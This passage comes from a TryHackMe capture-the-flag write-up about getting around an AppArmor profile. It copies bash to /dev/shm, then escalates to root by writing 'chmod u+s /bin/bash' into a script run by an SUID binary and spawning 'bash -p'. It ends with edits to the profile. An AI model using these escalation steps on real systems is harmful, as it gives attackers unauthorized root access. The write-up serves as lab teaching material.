<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6eub8aAhinW7IMrGy9gj%2Fimage.png?alt=media&#x26;token=2e7c3edb-18fb-47a5-ba4b-d4332d755369" alt=""><figcaption></figcaption></figure></div>

We can see that **`/bin`** directory has a **`symlink`**. Checking it out:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FsM0F0UffeLoa4uPlwh6T%2Fimage.png?alt=media&#x26;token=876b8c85-edc3-4762-81aa-c045e21785c6" alt=""><figcaption></figcaption></figure></div>

There is a **`symlink`** for **`/bin`** that points to **`usr/bin`**. Now we know why the **`realpath`** output was **`/usr/bin/bash`** even though we had typed in **`/bin/bash`**. Due to the **`symlink`** it actually ran **`/usr/bin/bash`**, that is, **`/bin/bash`** got **`resolved`** to **`/usr/bin/bash`**. So the **`bash shell`** that we got was still **`under`** the **`restrictions`** of the **`ash's apparmor profile's deny rules`** due to the concept of **`inheritance`** that was used in this **`allow rule`**:  **`/usr/bin/** mrix`**.

**`Third Method`**:

Once again we get back to the **`ash shell`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FGdVnRGSdEW1kdwhdfnaH%2Fimage.png?alt=media&#x26;token=1af49344-eb8a-4cd6-8441-0a2fd62956e5" alt=""><figcaption></figcaption></figure></div>

Now we can try **`copying`** the **`bash`** binary to a directory where we have **`write permissions`** on (A directory that is **`not restricted at all/not fully restricted`** according to the **`apparmor profile`** for **`ash`**) and it can be run from there. This time we should be able to **`bypass`** the **`restrictions`** as we would have a **`bash shell`** that is fully independent of the **`apparmor profile`** for **`ash`**.

The **`/tmp`** directory that is always **`universally writeable`** **`can't`** be used in our case to place the **`bash`** binary, as the profile has a **`deny rule`** (**`deny /tmp/** w`**) that prevents us from directly writing within it in the first place.

An other such directory that is **`world writable`** is the **`/dev/shm`**. It is true that there is a **`deny rule`** on this directory based on the **`profile`** (**`deny /dev/shm w`**), but it **`doesn't restrict`** us from **`writing`** within it. As mentioned before this rule only **`restricts`** us from the **`renaming the /shm`** directory. If the **`rule`** was: **`deny /dev/shm/* w`**, we wouldn't have been able to write directly within it.

Placing the **`bash`** binary within the **`/dev/shm`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FPFk6z7eAewpPFAOF5y53%2Fimage.png?alt=media&#x26;token=e86a89e0-18d6-4c93-bffb-1518180ccefa" alt=""><figcaption></figcaption></figure></div>

We are able to **`copy`** the **`bash`** binary to **`/dev/shm`** because we as the user **`think`** has read **`permissions`** on the **`bash`** binary itself as we fall under **`others`**, and due to the fact that **`/dev/shm`** is **`writable`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FtbbpwnTR42ppRtHTvyAn%2Fimage.png?alt=media&#x26;token=f3375fe4-aab5-4ec3-8405-64af25545a86" alt=""><figcaption></figcaption></figure></div>

**`Running it`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FB4C7cObjaGkw6YZ8kFWR%2Fimage.png?alt=media&#x26;token=e527fe51-5e57-4127-a04f-b7073f9f3070" alt=""><figcaption></figcaption></figure></div>

Now we are able to **`list`** out the **`contents`** of the **`/opt`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYT9xwFu4ZltWeYwp48EG%2Fimage.png?alt=media&#x26;token=f8be99eb-d639-45fe-b77a-5d9196be02c1" alt=""><figcaption></figcaption></figure></div>

This shows that we have successfully **`bypassed AppArmor's security restrictions`** that affected the **`ash shell`** that we as the user **`think`** was on by default.

### Privilege Escalation

We should be able to write into the **`run_container.sh`** file because, now this **`deny rule`**: **`deny /opt/** w`** stands completely **`pointless`**  and we have the **`permissions`** to **`write`** into that file as **`others`**.

Now is when we take advantage of the **`SUID bit`** set on the **`run_container`** binary.

**`Thought process`**:

The **`run_container`** binary when run, will run as **`root`** due to the **`SUID bit`**  as explained before and this binary is running the **`run_container.sh`** file, on which we can **`write`** into now. The simplest way to **`spawn`** a **`root shell`** is by setting the **`SUID bit`** on the **`bash`** binary that is owned by root (by default) and then by running **`bash`** in **`privileged mode`**. All we have to do is **`write`** in the **`command`** to set the **`SUID bit`** on **`bash`** into the **`run_container.sh`** file and when the binary is run, it will set the **`bit`** on **`bash`**.&#x20;

**`Writing into run_container.sh`**:

**`Command`**:

```bash
echo 'chmod u+s /bin/bash' > run_container.sh
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FMX3epzKU2Oy3kcun0y8d%2Fimage.png?alt=media&#x26;token=c8f3510d-732f-42c4-870d-c5c532b99c1a" alt=""><figcaption></figcaption></figure></div>

**`Running the run_container binary`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDFUVUcvkpNX9j2aRlJiF%2Fimage.png?alt=media&#x26;token=2873d757-9276-4c43-ba43-7c0cd1ed7bdb" alt=""><figcaption></figcaption></figure></div>

The **`SUID`** bit is now set.

**`Spawning a root shell`**:

**`Command`**:

```bash
bash -p
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FljDOMkwUovlnxOLkbGzZ%2Fimage.png?alt=media&#x26;token=421af48a-ebf3-43b5-b376-4f100ae4730a" alt=""><figcaption></figcaption></figure>

The **`root flag`** can be fetched from the **`/root`** directory.

Room solved!!

### Modifying AppArmor Rules (Optional)

Since we are now **`root`**, we can **`edit`** the **`apparmor profile for ash`** by tweaking the **`rules`** to see how differently **`apparmor`** reacts to the changes made.

**`Removing inheritance from the /usr/bin/ allow rule`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fs9umrHfrpSE4e8F9O2Kb%2Fimage.png?alt=media&#x26;token=32b93b8d-f4da-4234-ac9f-a195c8dee7c2" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FRmQVw0yWP8LbG1sSHeOw%2Fimage.png?alt=media&#x26;token=2baf6b3d-f678-400e-b949-4e2b1528d387" alt=""><figcaption></figcaption></figure></div>

The rule is now changed to: **`/usr/bin/** mr`**. Also notice that I haven't changed any other rule in the profile.

Now after making the changes, the profile must be **`loaded`** for the changes to take effect. When this command is run, it loads the specified AppArmor profile into the AppArmor kernel module:

**`Command`**:

```bash
apparmor_parser -r /etc/apparmor.d/usr.sbin.ash
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fml8fV03aHGVrsTeyPAPs%2Fimage.png?alt=media&#x26;token=aaa93fc5-8057-461e-8ba6-119e33ca1de7" alt=""><figcaption></figcaption></figure></div>

Now we just **`exit`** out of the **`root shell`** and we are on the **`bash shell`** that was run from **`/dev/shm`** directory. We **`exit`** out of that too on the default **`ash shell`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FJ8Tsytlr4ptXuHVNwJil%2Fimage.png?alt=media&#x26;token=c8374fa5-93a2-4d9f-9ccc-c8f3c2c8df17" alt=""><figcaption></figcaption></figure></div>

Now let us run **`/bin/bash`** again and this time the **`bash shell`** that we get **`would not`** be under the **`restrictions`** of the **`ash's apparmor profile`** as even though due to the **`symlink`**, running **`/bin/bash`** actually runs **`bash`** from the **`/usr/bin/`** directory, since the **`inheritance`** is **`removed`** from the **`allow rule`** (**`/usr/bin/** mr)`**, the **`bash`** binary within **`/usr/bin/`** **`won't inherit/won't be restricted`** by the **`deny rules`** in the profile.&#x20;

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fdnk1DOI5LUZMpfLQ1Bj3%2Fimage.png?alt=media&#x26;token=16f6f8d6-1865-461c-bb79-42416cddd23f" alt=""><figcaption></figcaption></figure></div>

As expected we are able to **`list`** out the **`contents`** of the **`/opt`** directory.

Typing in **`bash`** too will work now as it will fetch the **`bash`** binary based on the **`$PATH`** variable as mentioned before, so it will be fetched from the **`/usr/bin/`** directory itself and since there is no more **`inheritance`** on the **`bash`** binary within this directory, the **`bash shell`** **`won't`** be under any **`restrictions`**.

Let us firstly **`exit`** out of the **`/bin/bash shell`** and **`exit`** again onto the **`ash shell`**. Now we are able to **`list`** out the **`contents`** of the **`/opt`** directory once again:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIsTskz7fdzWsHQDc4zed%2Fimage%20(21).png?alt=media&#x26;token=2ea85e82-cd36-419b-80af-913b79b2229d" alt=""><figcaption></figcaption></figure></div>

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
